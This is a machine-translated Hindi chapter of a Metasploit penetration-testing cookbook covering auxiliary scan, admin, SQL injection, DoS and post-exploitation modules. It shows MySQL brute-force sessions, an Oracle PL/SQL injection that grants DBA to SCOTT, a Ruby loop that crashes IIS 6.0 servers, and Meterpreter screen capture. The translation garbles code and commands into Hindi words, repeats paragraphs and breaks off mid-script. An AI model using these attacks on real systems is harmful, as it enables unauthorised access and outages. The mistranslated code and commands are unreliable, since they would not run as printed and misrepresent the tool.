मेटस्प्लोइट पेनेट्रेशन टेस्टिंग कुकबुक के सातवें का अनुवाद

अध्याय 7. मॉड्यूल के साथ काम करना

इस अध्याय में, हम निम्नलिखित का पता लगाएंगे:

• सहायक स्कैन मॉड्यूल के साथ काम करें
• सहायक व्यवस्थापक मॉड्यूल के साथ काम करें
• एसक्यूएल इंजेक्शन और डॉस मॉड्यूल
• संचालन के बाद के मॉड्यूल
• मॉड्यूल बनाने की मूल बातें
• मॉड्यूल विश्लेषण
• पोस्ट-प्रोडक्शन मॉड्यूल बनाना

परिचय

पहले अध्याय में, हमने मेटास्प्लोइट की मूल बातों के बारे में बात की। हमने इस तथ्य से शुरू किया कि इसमें एक मॉड्यूलर वास्तुकला है। इसका मतलब है कि सभी शोषण, पेलोड, एनकोडर आदि। मॉड्यूल के रूप में प्रस्तुत करें। मॉड्यूलर आर्किटेक्चर फ्रेमवर्क की कार्यक्षमता का विस्तार करना आसान बनाता है। कोई भी प्रोग्रामर अपने स्वयं के मॉड्यूल को विकसित कर सकता है और आसानी से इसे मेटास्प्लोइट ढांचे में शामिल कर सकता है। प्रवेश परीक्षण प्रक्रिया में सिस्टम ऑपरेशन के दौरान कई मॉड्यूल शामिल हो सकते हैं। उदाहरण के लिए, हम परिचालन मॉड्यूल के साथ शुरू करते हैं, फिर हम पेलोड मॉड्यूल का उपयोग शुरू करते हैं, फिर हम कई पोस्ट-ऑपरेशनल मॉड्यूल का उपयोग कर सकते हैं। अंत में, हम अपने निष्कर्षों और परिणामों को बचाने के लिए डेटाबेस से कनेक्ट करने के लिए विभिन्न मॉड्यूल का उपयोग कर सकते हैं।

यह अध्याय / पेंटेस्ट / कारनामे / फ्रेमवर्क 3 / मॉड्यूल निर्देशिका पर केंद्रित है, जिसमें उपयोगी मॉड्यूल की पूरी सूची है जो हमें प्रवेश परीक्षण में मदद करेगी।

सहायक स्कैन मॉड्यूल के साथ काम करें

चलो स्कैन मॉड्यूल के साथ शुरू करते हैं। हमने पहले से ही स्कैनिंग के बारे में विस्तार से अध्ययन किया था जब हमने नैम्प के बारे में बात की थी। इस नुस्खा में हम कुछ तैयार किए गए मॉड्यूल का विश्लेषण करेंगे जो मेटास्प्लोइट के साथ आते हैं। यद्यपि नैम्प एक शक्तिशाली स्कैनिंग उपकरण है, ऐसी स्थितियाँ हैं जिनमें आपको एक विशेष प्रकार के स्कैन की आवश्यकता होती है, उदाहरण के लिए, MySQL डेटाबेस की उपस्थिति के लिए स्कैनिंग। उपलब्ध स्कैनरों की सूची खोजने के लिए, हमें / pentest / कारनामे / चौखटे 3 / मॉड्यूल / सहायक / स्कैनर पर जाना होगा । आइए बुनियादी HTTP स्कैनर से शुरू करें।

Dir_scanner पर विचार करें। स्क्रिप्ट दिलचस्प निर्देशिकाओं को खोजने के लिए होस्ट या पूरे नेटवर्क को स्कैन करेगी जिसे जानकारी इकट्ठा करने के लिए और भी खोजा जा सकता है।

 msf> सहायक / स्कैनर / http / dir_scanner का उपयोग करें 
 msf सहायक (dir_scanner)> विकल्प दिखाएं 
 मॉड्यूल विकल्प (सहायक / स्कैनर / http / dir_scanner):
 नाम वर्तमान सेटिंग आवश्यक विवरण
 ---- --------------- -------- -----------
 DICTIONARY /opt /metasploit/msf3/data/wmap/wmap_dirs.txt उपयोग करने के लिए शब्द शब्दकोश का कोई पथ नहीं
 पथ / हाँ फ़ाइलों की पहचान करने का मार्ग
 RHOSTS हाँ लक्ष्य पता सीमा या CIDR पहचानकर्ता
 80 निर्यात करें हाँ लक्ष्य पोर्ट
 तीन 1 हाँ समवर्ती धागे की संख्या
 VHOST कोई HTTP सर्वर वर्चुअल होस्ट नहीं है

शो विकल्प कमांड उपलब्ध विकल्पों को दिखाएगा जो मॉड्यूल में सक्षम हो सकते हैं।

आइए एक विशिष्ट उदाहरण देखें। Mysql_login मॉड्यूल, जो एक MySQL सर्वर की उपस्थिति के लिए लक्ष्य को स्कैन करता है और, यदि यह पता चलता है, तो हमला करने के लिए जानवर बल का उपयोग करके डेटाबेस तक पहुंचने का प्रयास करता है:

  msf> सहायक / स्कैनर / mysql / mysql_login का उपयोग करें 
 msf> विकल्प दिखाएं 

 मॉड्यूल विकल्प (सहायक / स्कैनर / mysql / mysql_login):

 नाम वर्तमान सेटिंग आवश्यक विवरण
 ---- --------------- -------- -----------
 BLANK_PASSWORDS सच सभी उपयोगकर्ताओं के लिए रिक्त पासवर्ड आज़माएं
 BRUTEFORCE_SPEED 5 हां, ब्रूटफोर्स में कितनी तेजी है, 0 से 5 तक
 PASSWORD के साथ प्रमाणित करने के लिए कोई विशिष्ट पासवर्ड नहीं है
 पासवर्ड, पासवर्ड प्रति पंक्ति एक फ़ाइल नहीं है
 RHOSTS हाँ लक्ष्य पता सीमा या CIDR पहचानकर्ता
 3306 हाँ निर्यात करें लक्ष्य बंदरगाह
 STOP_ON_SUCCESS गलत हाँ जब एक होस्ट के लिए क्रेडेंशियल काम करता है तो अनुमान लगाना बंद करें
 तीन 1 हाँ समवर्ती धागे की संख्या
 USERNAME के ​​रूप में प्रमाणित करने के लिए कोई विशिष्ट उपयोगकर्ता नाम नहीं है
 USERPASS_FILE कोई फ़ाइल नहीं है जिसमें उपयोगकर्ताओं और पासवर्डों को अंतरिक्ष से अलग किया गया है, प्रति पंक्ति एक जोड़ी
 USER_AS_PASS सच नहीं सभी उपयोगकर्ताओं के लिए पासवर्ड के रूप में उपयोगकर्ता नाम का प्रयास करें
 USER_FILE कोई फ़ाइल नहीं है जिसमें उपयोगकर्ता नाम, प्रति पंक्ति एक हो
 VERBOSE सच हाँ क्या सभी प्रयासों के लिए आउटपुट प्रिंट करना है 

जैसा कि आप देख सकते हैं, मॉड्यूल में कई पैरामीटर हैं। आप उपयोगकर्ता नाम और पासवर्ड के साथ फाइलें निर्दिष्ट कर सकते हैं। ऐसा करते हैं:

  msf सहायक (mysql_login)> USER_FILE /users.txt सेट करें
 USER_FILE => /users.txt
 msf सहायक (mysql_login)> PASS_FILE /pass.txt सेट करें
 PASS_FILE => /pass.txt 

अब हम ब्रूटस का उपयोग करने के लिए तैयार हैं। यह लक्ष्य को निर्दिष्ट करने और मॉड्यूल को चलाने के लिए बना हुआ है:

  msf सहायक (mysql_login)> सेट RHOSTS 192.168.56.101
 RHOSTS => 192.168.56.101
 msf सहायक (mysql_login)> चलाएं
 [*] 192.168.56.101 {306 - दूरस्थ MySQL संस्करण 5.0.51a मिला
 [*] १ ९ २.१६.5.५६.१०१ {३०६ कोशिश करने वाले उपयोगकर्ता नाम: पासवर्ड के साथ प्रशासक: ''

निष्कर्ष से पता चलता है कि मॉड्यूल ने लक्ष्य पर MySQL सर्वर की खोज करके प्रक्रिया शुरू की। जिसके बाद उन्होंने उपयोगकर्ता नाम / पासवर्ड संयोजन को बदलना शुरू किया जो फाइलों में हैं।

सहायक व्यवस्थापक मॉड्यूल के साथ काम करें

आइए जानें कुछ एडमिन मॉड्यूल। मॉड्यूल विभिन्न उद्देश्यों की पूर्ति कर सकते हैं, उदाहरण के लिए, व्यवस्थापक पैनल की खोज या डिफ़ॉल्ट उपयोगकर्ता नाम / पासवर्ड के लिए जाँच। यह सब कार्यक्षमता पर निर्भर करता है। Mysql_enum पर विचार करें:

  msf> सहायक / व्यवस्थापक / mysql / mysql_enum का उपयोग करें 
 msf> विकल्प दिखाएं 

 मॉड्यूल विकल्प (सहायक / व्यवस्थापक / mysql / mysql_enum):

 नाम वर्तमान सेटिंग आवश्यक विवरण
 ---- --------------- -------- -----------
 पासवर्ड निर्दिष्ट उपयोगकर्ता नाम के लिए पासवर्ड नहीं
 RHOST हाँ लक्ष्य पता
 3306 हाँ निर्यात करें लक्ष्य बंदरगाह
 USERNAME no के रूप में प्रमाणित करने के लिए उपयोगकर्ता नाम नहीं 

जैसा कि आप देख सकते हैं, मॉड्यूल लॉगिन, पासवर्ड और आरएचओएसटी मापदंडों को स्वीकार करता है। इसका उपयोग MySQL डेटाबेस को खोजने के लिए किया जा सकता है, साथ ही साथ जानवर के लिए भी। हम कमांड के निष्पादन का विश्लेषण करते हैं:

  msf सहायक (mysql_enum)> शोषण
 [*] कॉन्फ़िगरेशन पैरामीटर:
 [*] C2 ऑडिट मोड सक्षम नहीं है
 [*] xp_cmdshell सक्षम है
 [*] रिमोट एक्सेस सक्षम है
 [*] अद्यतन की अनुमति नहीं है सक्षम है
 [*] डेटाबेस मेल XPs सक्षम नहीं है
 [*] ओले ऑटोमेशन प्रक्रिया सक्षम नहीं हैं
 [*] सर्वर पर डेटाबेस:
 [*] डेटाबेस का नाम: मास्टर 

मॉड्यूल बहुत सारी उपयोगी जानकारी देता है। वह हमें बताता है कि लक्ष्य MySQL पर cmdshell और रिमोट एक्सेस सक्षम थे। यह उस डेटाबेस का नाम भी देता है जो लक्ष्य मशीन पर एक प्रक्रिया के रूप में चल रहा है।

अन्य सेवाओं के लिए कई समान मॉड्यूल हैं, जैसे कि MSSQL और Apache। ऑपरेशन का सिद्धांत सभी के लिए समान है। यह सुनिश्चित करने के लिए शो विकल्प कमांड का उपयोग करना याद रखें कि आप आवश्यक पैरामीटर पास करते हैं।

एसक्यूएल इंजेक्शन और डॉस मॉड्यूल

SQL इंजेक्शन मॉड्यूल ज्ञात कमजोरियों का उपयोग करता है, इसका उपयोग दर्ज करें और अनधिकृत पहुंच प्रदान करें। भेद्यता Oracle 9i और 10g को प्रभावित करने के लिए जानी जाती है। मेटास्प्लोइट में कई मॉड्यूल शामिल हैं जो ओरेकल में ज्ञात कमजोरियों का उपयोग करते हैं। मॉड्यूल मॉड्यूल / सहायक / sqli / oracle में पाए जा सकते हैं।

आइए ओरेकल भेद्यता का विश्लेषण करते हैं Oracle DBMS_METADATA XML । यह भेद्यता DB_USER से DB_ADMINISTRATOR ( DBA ) तक विशेषाधिकार बढ़ाएगी । हम dbms_metadata_get_xml मॉड्यूल का उपयोग करेंगे:

  msf> सहायक / sqli / oracle / dbms_metadata_get_xml का उपयोग करें 
 msf> विकल्प दिखाएं 

 मॉड्यूल विकल्प (सहायक / sqli / oracle / dbms_metadata_get_xml):

 नाम वर्तमान सेटिंग आवश्यक विवरण
 ---- --------------- -------- -----------
 DBPASS TIGER हां पासवर्ड को प्रमाणित करने के लिए।
 DBUSER SCOTT हां उपयोगकर्ता नाम के साथ प्रमाणित करने के लिए।
 आरएचओएसटी ओरेकल होस्ट।
 RPORT 1521 हाँ TNS पोर्ट।
 SID ORCL हाँ के साथ प्रमाणित करने के लिए पैर।
 SQL ग्रांट DBA SCOTT को निष्पादित करने के लिए कोई SQL नहीं। 

डेटाबेस पहले डिफ़ॉल्ट क्रेडेंशियल स्कॉट और टाइगर का उपयोग करके लॉगिन की जांच करता है। जब एक मॉड्यूल डेटाबेस उपयोगकर्ता के रूप में लॉगिन प्राप्त करता है, तो यह डेटाबेस व्यवस्थापक को विशेषाधिकार बढ़ाने के लिए दुर्भावनापूर्ण कोड निष्पादित करता है।

  msf सहायक (dbms_metadata_get_xml)> RHOST 192.168.56.1 सेट करें
 msf सहायक (dbms_metadata_get_xml)> SQL YES सेट करें
 msf सहायक (dbms_metadata_get_xml)> चलाएं 

अगला मॉड्यूल जिसे हम जांचेंगे वह सेवा से इनकार (डीओएस) हमले से संबंधित है। हम IIS 6.0 में एक साधारण भेद्यता का विश्लेषण करेंगे, जो एक हमलावर को एक POST अनुरोध भेजकर 40 से अधिक अनुरोध पैरामीटर वाले सर्वर को क्रैश करने की अनुमति देता है। इस मॉड्यूल को IIS 6.0 पर चलने वाले एक अप्रकाशित विंडोज 2003 सर्वर पर परीक्षण किया गया था। हम ms10_065_ii6_asp_dos का उपयोग एक मॉड्यूल के रूप में करेंगे:

  msf> सहायक / dos / windows / http / ms10_065_ii6_asp_dos का उपयोग करें
 msf सहायक (ms10_065_ii6_asp_dos)> विकल्प दिखाएं
 मॉड्यूल विकल्प (सहायक / डॉस / विंडोज़ / http / ms10_065_ii6_asp_dos):

    नाम वर्तमान सेटिंग आवश्यक विवरण
    ---- --------------- -------- -----------
    RHOST हाँ लक्ष्य पता
    80 निर्यात करें हाँ लक्ष्य पोर्ट
    URI /page.asp हाँ अनुरोध करने के लिए URI
    VHOST नहीं वर्चुअल होस्ट नाम अनुरोधों में उपयोग करने के लिए

 msf सहायक (ms10_065_ii6_asp_dos)> सेट RHOST 192.168.56.1 RHOST => 192.168.56.1
 msf सहायक (ms10_065_ii6_asp_dos)> चलाएँ
 [*] Http://192.168.56.1:80/page.asp पर हमला 

रन कमांड के बाद, मॉड्यूल page.asp के रूप में URI के साथ 80 पोर्ट को HTTP अनुरोध भेजकर लक्ष्य IIS सर्वर पर हमला करना शुरू कर देगा । मॉड्यूल के सफल निष्पादन के परिणामस्वरूप IIS सर्वर के लिए पूरी तरह से सेवा से इनकार कर दिया जाएगा।

Orsc डेटाबेस भेद्यता का उपयोग उपयोगकर्ता द्वारा परिभाषित PL / SQL फ़ंक्शन जो SYS संदर्भ में चलता है, को इंजेक्ट करके किया जाता है, और यह एक प्रशासक के रूप में स्कॉट उपयोगकर्ता के विशेषाधिकारों को बढ़ाता है।
आइए दो कमजोरियों को देखें। Oracle डाटाबेस वल्नरेबिलिटी बाय वल्नेरेबिलिटी, SYS के संदर्भ में चलने वाले उपयोगकर्ता-परिभाषित PL / SQL फ़ंक्शन को इंजेक्ट करके किया जाता है और प्रशासक को स्कॉट उपयोगकर्ता के अधिकार को बढ़ाता है।
समारोह का उदाहरण:

    क्रिएट या रिप्लाई फंक्शन "स्कॉट"। "ATTACK_FUNC" वर्गा 2 ऑर्टिड current_user को प्रॉटो ऑटोनोमस_ट्रांसलेशन के रूप में लौटाता है;
    बेगिन एक्जाम इमिटेड 'ग्रैंट डीबीए टू स्कॉच';
    COMMIT;
    RETURN '';
    अंत; 

फ़ंक्शन स्कॉट उपयोगकर्ता के विशेषाधिकारों को बढ़ाएगा ।

  चयनित SYS.DBMS_METADATA.GET_DDL ('' '|| SCOTT.ATTACK_FUNC () ||' '', '')
 दोहरी से; 

कोड की पिछली लाइनें इंजेक्शन प्रक्रिया को समझाती हैं। ओरेकल सॉफ्टवेयर में कमजोरियों का एक विस्तृत विश्लेषण पुस्तक / अनुवाद के दायरे से परे है।

अब एक डॉस अटैक मॉड्यूल है जो IIS 6.0 सर्वर में भेद्यता का उपयोग करता है। हमलावर एक POST अनुरोध भेजता है, जिसमें 40,000 से अधिक अनुरोध पैरामीटर शामिल होते हैं, और इसे एन्कोडिंग प्रकार / x-www-form-urlencoded के अनुप्रयोग के रूप में भेजा जाता है। यहाँ स्क्रिप्ट का वह भाग है जो मॉड्यूल के रूप में कार्य करता है:

अब एक डॉस हमले के लिए एक मॉड्यूल पर विचार करें जो IIS 6.0 सर्वर में भेद्यता का शोषण करता है। एक हमलावर एक POST अनुरोध भेजता है जिसमें 40,000 से अधिक अनुरोध पैरामीटर शामिल होते हैं और प्रपत्र एप्लिकेशन / x-www-form-urlencoded में एन्कोडिंग प्रकार भेजता है।

  जबकि (1)
  शुरू करना
  कनेक्ट
  पेलोड = "C = A &" * 40,000
  लंबाई = पेलोड.साइज
  sploit = ​​"HEAD # {डेटास्टोर ['URI']} HTTP / 1.1 \ r \ n"
  sploit << "होस्ट: # {डेटास्टोर ['VHOST'] || rhost} \ r \ n"
  sploit << "कनेक्शन: Close \ r \ n"
  sploit << "सामग्री-प्रकार: अनुप्रयोग / x-www-form-urlencoded \ r \ n"
  sploit << "सामग्री-लंबाई: # {लंबाई} \ r \ n \ r \ n"
  sploit << पेलोड
  sock.put (sploit)
  #print_status ("DoS पैकेट भेजा गया।")
  डिस्कनेक्ट
  बचाव एर्नो :: ECONNRESET
  अगला
  अंत
  अंत 

जैसा कि आप देख सकते हैं, स्क्रिप्ट 40,000 से अधिक का पेलोड आकार उत्पन्न करती है। फिर IIS सर्वर पर HTTP अनुरोध भेजने के लिए पोर्ट 80 पर एक कनेक्शन स्थापित किया जाता है। अनुरोध सर्वर पर स्थानांतरित हो जाने के बाद, यह क्रैश हो जाएगा और काम करना बंद कर देगा।

संचालन के बाद के मॉड्यूल

हमारे पास मॉड्यूलों की एक अलग समर्पित सूची है जो हमारे कौशल को पेंटेस्ट में सुधार सकती है। चूंकि वे पोस्ट-ऑपरेशनल मॉड्यूल हैं, हमें एक लक्ष्य के साथ एक सक्रिय सत्र की आवश्यकता होगी। हम लक्ष्य तक पहुँचने के लिए पिछले अध्यायों में वर्णित किसी भी पद्धति का उपयोग कर सकते हैं।

पोस्ट-मॉड्यूल - सबसे दिलचस्प और सुविधाजनक कार्यों का एक संग्रह जिसे आप प्रवेश परीक्षण के दौरान उपयोग कर सकते हैं। आइए जल्दी से उनमें से कुछ का विश्लेषण करें। हम एक सक्रिय मीटरपरेटर सत्र के साथ अखंड विंडोज 7 का उपयोग करेंगे।

चलो सरल enum_logged_on_users मॉड्यूल से शुरू करते हैं। यह विंडोज में लॉग इन किए गए उपयोगकर्ताओं की एक सूची दिखाता है।

  मीटरपाइंटर> गेटिस्टम
 ... सिस्टम मिला (तकनीक 4 के माध्यम से)।
 meterpreter> रन पोस्ट / विंडो / इकट्ठा / enum_logged_on_users
 [*] सत्र १ के खिलाफ चल रहा है
 वर्तमान लॉग इन उपयोगकर्ता
 ====================
 SID उपयोगकर्ता
 --- ----
 S-1-5-21-2350281388-457184790-407941598 DARKLORD-PC \ DARKLORD
 हाल ही में लॉग इन उपयोगकर्ता
 =====================
 SID प्रोफ़ाइल पथ
 --- ------------
 S-1-5-18% systemroot% \ system32 \ config \ systemprofile
 S-1-5-19 C: \ Windows \ ServiceProfiles \ LocalService
 S-1-5-20 C: \ Windows \ ServiceProfiles \ NetworkService
 S-1-5-21-23502 C: \ Users \ DARKLORD
 S-1-5-21-235 C: \ Users \ Winuser 

मॉड्यूल का सफल निष्पादन हमें दो टेबल दिखाता है। पहली तालिका उपयोगकर्ता को लॉग इन दिखाती है, और दूसरी तालिका उपयोगकर्ता में हाल ही में लॉग इन दिखाती है।

एक और उदाहरण लीजिए। एक दिलचस्प पोस्ट-मॉड्यूल है जो लक्ष्य मशीन पर स्क्रीन का स्क्रीनशॉट लेता है।

  meterpreter> रन पोस्ट / विंडो / इकट्ठा / screen_spy
  [*] Explorer.exe पिड की ओर पलायन: ११०४
  [*] प्रवास सफल
  [*] 5 सेकंड की देरी से 60 स्क्रीनशॉट कैप्चर करना 

आप मॉड्यूल / पोस्ट / विंडो / इकट्ठा में enum_logged_on_user.rb और screen_spy.rb स्क्रिप्ट का विश्लेषण कर सकते हैं । वे आपको यह पता लगाने में मदद करेंगे कि ये मॉड्यूल कैसे काम करते हैं।

मॉड्यूल बनाने की मूल बातें

अपना खुद का मॉड्यूल बनाना शुरू करने के लिए, हमें रूबी के बुनियादी ज्ञान की आवश्यकता है। हमने पहले ही रूबी के उपयोग और कार्यान्वयन पर चर्चा की है।
आइए बुनियादी बातों से शुरू करें। मेटास्प्लोइट के लिए मॉड्यूल को पठनीय होने के लिए, आपको MSF पुस्तकालयों को आयात करने की आवश्यकता है:
आवश्यकता 'msf / कोर'

यह रेखा इंगित करती है कि मॉड्यूल में मेटास्प्लोइट ढांचे के सभी निर्भरता और कार्य शामिल होंगे।
वर्ग Metasploit3 <Msf :: सहायक
यह पंक्ति उस वर्ग को परिभाषित करती है जो सहायक परिवार के गुणों को विरासत में देता है। सहायक मॉड्यूल कई कार्यों को आयात कर सकता है, जैसे स्कैनिंग, कनेक्शन खोलना, डेटाबेस का उपयोग करना, और इसी तरह:

  Msf :: शामिल करें 

शामिल विवरण का उपयोग किसी मॉड्यूल में विशिष्ट रूपरेखा कार्यक्षमता को शामिल करने के लिए किया जाता है। उदाहरण के लिए, यदि हम एक स्कैनर मॉड्यूल का निर्माण कर रहे हैं, तो आप इसे इस प्रकार सक्षम कर सकते हैं:

  Msf :: एक्सप्लॉइट :: रिमोट :: टीसीपी शामिल करें 

इस लाइन में रिमोट टीसीपी स्कैन कार्यक्षमता शामिल होगी।

  आरंभीकृत करना
                सुपर (
                      'नाम' => 'टीसीपी पोर्ट स्कैनर',
                      'संस्करण' => '$ संशोधन $',
                      'विवरण' => 'खुली टीसीपी सेवाओं की गणना करें',
                      'लेखक' => [डार्कलॉर्ड],
                      'लाइसेंस' => MSF_LICENSE
  ) 

स्क्रिप्ट लाइनें हमें मॉड्यूल, उसके नाम, संस्करण, लेखक, विवरण, आदि के बारे में जानकारी देती हैं।

  register_options (
                 [
  OptString.new ('PORTS', [सच, "स्कैन करने के लिए पोर्ट (जैसे 25,80,110-900)", "1-10000"]]
  OptInt.new ('टाइमटाइम', [सच, "सॉकेट कनेक्ट टाइमआउट इन मिलीसेकंड", 1000,),
  OptInt.new ('CONCURRENCY', [सच है, "प्रति होस्ट की जाँच के लिए समवर्ती बंदरगाहों की संख्या", 10]), self.class)
  deregister_options ('परिणाम') 

मॉड्यूल विश्लेषण

अब हम ftp मॉड्यूल का विश्लेषण करेंगे। हमने पिछले नुस्खा में पहले से ही बुनियादी मॉड्यूल टेम्पलेट पर चर्चा की, इसलिए यहां हम स्क्रिप्ट के मुख्य भाग से आगे बढ़ेंगे।
विश्लेषण के लिए, हम अनाम एफ़टीपी एक्सेस मॉड्यूल लेते हैं। मुख्य स्क्रिप्ट निम्नलिखित पते पर स्थित है: पेंटेस्ट / कारनामे / ढांचा 3 / मॉड्यूल / सहायक / स्कैनर / एफ़टीपी / एसटीबी।
संदर्भ के लिए पूरी स्क्रिप्ट:

  वर्ग Metasploit3 <Msf :: सहायक

  Msf :: एक्सप्लॉइट :: रिमोट :: Ftp शामिल करें
  Msf :: सहायक :: स्कैनर शामिल करें
  Msf :: सहायक :: रिपोर्ट शामिल करें

 आरंभीकृत करना
               सुपर (
                     'नाम' => 'अनाम एफ़टीपी अभिगम जांच',
                     'संस्करण' => '$ संशोधन: 14774 $',
                     'विवरण' => 'गुमनाम (पढ़ने / लिखने) एफ़टीपी सर्वर का उपयोग।'
                     'संदर्भ' => [['URL', 'http://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP'],],
                     'लेखक' => 'माटेओ कैंटोनी <goony [at] nothink.org>'
                     'लाइसेंस' => MSF_LICENSE
 )

 register_options ([ऑप्ट :: RPORT (21),], self.class)
 अंत

 def run_host (target_host)
                 शुरू करना
                 res = connect_login (सही, गलत)
                 banner.strip!  अगर बैनर
                 dir = Rex :: Text.rand_text_alpha (8)

 अगर रिज
 write_check = send_cmd (['MKD', dir], सच)

 अगर (राइट_चेक और राइट_चेच = ~ / ^ 2 /)
 send_cmd (['RMD', dir], सच)

 Print_status ("# {target_host}: # {rport} बेनामी READ / WRITE (# {बैनर}"))
 access_type = "rw"
 अन्यथा
 Print_status ("# {target_host}: # {rport} बेनामी READ (# {बैनर})")
 access_type = "ro"
 अंत
 report_auth_info (
                  : होस्ट => target_host,
                  : पोर्ट => आरपोर्ट,
                  : sname => 'ftp',
                  : उपयोगकर्ता => डेटास्टोर ['FTPUSER'],
                  : पास => डेटास्टोर ['FTPPASS'],
                  : टाइप => "पासवर्ड _ # {access_type}",
                  : सक्रिय => सत्य
 )
 अंत
 डिस्कनेक्ट
 बचाव :: बाधा
 $ बढ़ाओ!
 बचाव :: Rex :: ConnectionError, :: IOError
 अंत
 अंत
 अंत 

आइए विश्लेषण करें कि स्क्रिप्ट कैसे काम करती है:

  def run_host (target_host)
                 शुरू करना
                 res = connect_login (सही, गलत)
                 banner.strip!  अगर बैनर
                 dir = Rex :: Text.rand_text_alpha (8) 

इस फ़ंक्शन का उपयोग कनेक्शन शुरू करने के लिए किया जाता है। Res वैरिएबल में बूलियन मान सही या गलत है । Connect_login फ़ंक्शन दूरस्थ होस्ट से कनेक्शन स्थापित करता है।

  अगर रिज
       write_check = send_cmd (['MKD', dir], सच)
       अगर (राइट_चेक और राइट_चेच = ~ / ^ 2 /)
       send_cmd (['RMD', dir], सच)
       Print_status ("# {target_host}: # {rport} बेनामी READ / WRITE (# {बैनर}"))
       access_type = "rw"
       अन्यथा
       Print_status ("# {target_host}: # {rport} अनाम पहुँच_टाइप =" ro " 

एक बार कनेक्शन स्थापित हो जाने के बाद, मॉड्यूल यह जांचने की कोशिश करता है कि अनाम उपयोगकर्ता ने अनुमतियों को पढ़ा / लिखा है या नहीं। राइट- चेक जाँचता है कि क्या राइट ऑपरेशन संभव है या नहीं। यह तब जांचता है कि ऑपरेशन सफल है या नहीं। विशेषाधिकारों की स्थिति के आधार पर, स्क्रीन पर एक संदेश मुद्रित होता है। यदि लेखन ऑपरेशन "विफल" है, तो स्थिति को आरओ या केवल पढ़ने के लिए मुद्रित किया जाता है:

  report_auth_info (
                  : होस्ट => target_host,
                  : पोर्ट => आरपोर्ट,
                  : sname => 'ftp',
                  : उपयोगकर्ता => डेटास्टोर ['FTPUSER'],
                  : पास => डेटास्टोर ['FTPPASS'],
                  : टाइप => "पासवर्ड _ # {access_type}",
                  : सक्रिय => सत्य
  )
  अंत 

यह एक छोटा प्रदर्शन था कि एक फ्रेमवर्क में मॉड्यूल कैसे काम करता है। आप अपनी आवश्यकताओं के अनुरूप मौजूदा स्क्रिप्ट को संशोधित कर सकते हैं।
निम्नलिखित उदाहरण में, हम देखेंगे कि कैसे अपना खुद का मॉड्यूल बनाएं और इसे फ्रेमवर्क में लोड करें।

पोस्ट-प्रोडक्शन मॉड्यूल बनाना

चलो एक छोटा पोस्ट-प्रोडक्शन मॉड्यूल बनाते हैं जो लक्ष्य मशीन पर सभी स्थापित अनुप्रयोगों को सूचीबद्ध करेगा।

एक मॉड्यूल बनाकर शुरू करने के लिए, हम पहले पुस्तकालय के ढांचे को आयात करते हैं और आवश्यक निर्भरताएं शामिल करते हैं:

सबसे पहले, पुस्तकालय ढांचे को आयात करें और आवश्यक निर्भरताएं सक्षम करें:

  आवश्यकता 'msf / कोर'
  'रेक्स' की आवश्यकता
  'एमएसएफ / कोर / पोस्ट / विंडो / रजिस्ट्री' की आवश्यकता है

  वर्ग Metasploit3 <Msf :: पोस्ट 
  Msf :: पोस्ट :: विंडोज :: रजिस्ट्री शामिल करें 
  आरंभीकृत करना (जानकारी = {}) 
     सुपर (update_info (जानकारी, 
           'नाम' => 'विंडोज इकट्ठा स्थापित अनुप्रयोग गणन')
           'विवरण' =>% q {यह मॉड्यूल सभी इंस्टॉल किए गए अनुप्रयोगों की गणना करेगा},
           'लाइसेंस' => MSF_LICENSE,
           'प्लेटफ़ॉर्म' => ['विंडोज़'],
           'सेशनटाइप्स' => ['मीटरपरेटर']
  ))
  अंत 

स्क्रिप्ट की शुरुआत मेटासैप्लोइट कोर लाइब्रेरीज़ से होती है। फिर हम एक वर्ग बनाते हैं जो Msf :: पोस्ट मॉड्यूल के गुणों का विस्तार करता है।

अगला, हम एक इनिशियलाइज़ेशन फंक्शन बनाते हैं जिसका उपयोग मॉड्यूल प्रॉपर्टीज़ और विवरण को इनिशियलाइज़ करने और परिभाषित करने के लिए किया जाता है। यह मूल संरचना लगभग सभी मॉड्यूल में समान है।

अगला, हम इनिशियलाइज़ेशन फंक्शन बनाते हैं, जिसका उपयोग मॉड्यूल के गुणों को इनिशियलाइज़ करने और निर्धारित करने के लिए किया जाता है। यह मूल संरचना लगभग सभी मॉड्यूल में समान है।

यहां यह ध्यान दिया जाना चाहिए कि हमने " रेक्स " के साथ-साथ "रजिस्ट्री" पुस्तकालयों को भी शामिल किया।

अब हमारा अगला कदम एक तालिका बनाना है जो हमारे निकाले गए परिणाम को प्रदर्शित कर सकता है। हमारे पास एक विशेष पुस्तकालय है Rex :: Ui :: पाठ जिसका उपयोग इस कार्य को करने के लिए किया जा सकता है।

  app_list को हराया
   tbl = Rex :: Ui :: पाठ :: Table.new (
   'हैडर' => "स्थापित अनुप्रयोग",
   'इंडेंट' => 1,
   'कॉलम' => ["नाम", "संस्करण"])

    ऐप्पि = [
              'HKLM \\ सॉफ़्टवेयर \\ Microsoft \\ Windows \\ CurrentVersion \\ स्थापना रद्द करें',
              'HKCU \\ सॉफ़्टवेयर \\ Microsoft \\ Windows \\ CurrentVersion \\ स्थापना रद्द करें',
              'HKLM \\ सॉफ़्टवेयर \\ WOW6432NODE \\ Microsoft \\ Windows \\ CurrentVersion \\ स्थापना रद्द करें',
              'HKCU \\ सॉफ़्टवेयर \\ WOW6432NODE \\ Microsoft \\ Windows \\ CurrentVersion \\ स्थापना रद्द करें',
  ]

  ऐप्स = []
  appkeys.each करते हैं | keyx86 |
  found_keys = रजिस्ट्री_enumkeys (keyx86)
  अगर मिल जाए तो
  found_keys.each करते हैं | ak |
  apps << keyx86 + "\\" + ak
  अंत
  अंत
  अंत 

स्क्रिप्ट का मुख्य भाग एक तालिका और विभिन्न स्तंभ नामों के निर्माण से शुरू होता है। फिर रजिस्ट्री में एक अलग सरणी बनाई जाती है, जिसका उपयोग अनुप्रयोगों की सूची को एन्यूमरेट करने के लिए किया जाएगा। सरणी में विभिन्न रजिस्ट्री लाइनें शामिल होंगी जिनमें लक्ष्य कंप्यूटर पर स्थापित अनुप्रयोगों के बारे में जानकारी होगी। एप्लिकेशन डेटा को एक अलग सरणी में संग्रहीत किया जाता है जिसे एप्लिकेशन कहा जाता है ।

तो, हम एक लूप चलाकर एन्यूमरेशन को प्रोसेस करना शुरू करते हैं, जो एप्स्की एरे में स्टोर की गई रजिस्ट्री में अलग-अलग जगहों पर दिखता है। फिर गणना प्रक्रिया शुरू होती है, एक चक्र शुरू होता है जो रजिस्ट्री में विभिन्न स्थानों पर दिखता है और एप्स्की सरणी में संग्रहीत किया जाता है:

  t = []
      जबकि (नहीं apps.empty?)
     1.अप (16) do t << Framework.threads.spawn ("मॉड्यूल (# {self.refname})", गलत, apps.shift) करना | k |
     शुरू करना
